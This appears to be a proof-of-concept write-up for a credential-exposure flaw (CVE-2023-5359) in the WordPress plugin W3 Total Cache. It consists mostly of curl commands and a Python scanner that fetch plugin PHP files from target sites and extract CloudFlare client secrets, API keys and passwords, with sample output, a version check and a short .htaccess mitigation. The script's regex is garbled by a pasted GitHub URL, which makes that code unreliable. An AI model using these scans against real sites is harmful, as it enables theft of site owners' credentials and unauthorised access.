/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php
/wp-content/plugins/w3-total-cache/Extension_FeedBurner_Plugin.php
/wp-content/plugins/w3-total-cache/Config.php
/wp-content/plugins/w3-total-cache/Cache_File.php

# Check if W3 Total Cache is installed
curl -s https://target.com/ | grep "w3-total-cache"

# Extract CloudFlare credentials
curl -s "https://target.com/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php" | grep -E "client_id|client_secret"

# Search all vulnerable files
for file in Extension_CloudFlare_Plugin.php Generic_Plugin_Admin.php Config.php; do
    echo "=== $file ==="
    curl -s "https://target.com/wp-content/plugins/w3-total-cache/$file" | grep -E "api_key|password|secret"
done

#!/usr/bin/env python3
import requests
import re

target = "https://victim.com"
files = [
    "/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php",
    "/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php"
]

for file in files:
    response = requests.get(target + file)
    credentials = re.findall(r"(api_key|client_secret|password)\s*=\s*['\"](https://github.com/enzocipher/cve-2023-5359/blob/HEAD/%5B%5E%27%5C%22%5D+)", response.text)
    if credentials:
        print(f"[!] Credentials found in {file}:")
        for key, value in credentials:
            print(f"    {key}: {value}")

# .htaccess protection
<Files *.php>
    Deny from all
</Files>
<Files "w3-total-cache.php">
    Allow from all
</Files>

# Check for vulnerable version
curl -s https://target.com/wp-content/plugins/w3-total-cache/w3-total-cache.php | grep "Version"

[*] Scanning: https://example.com
[+] W3 Total Cache detected
[+] Accessible file: /wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
[!] CREDENTIALS FOUND:
    client_id: GAxxxxxxxxxxxx78
    client_secret: ABcdEFghIJklMNopQRstUVwxYZ012345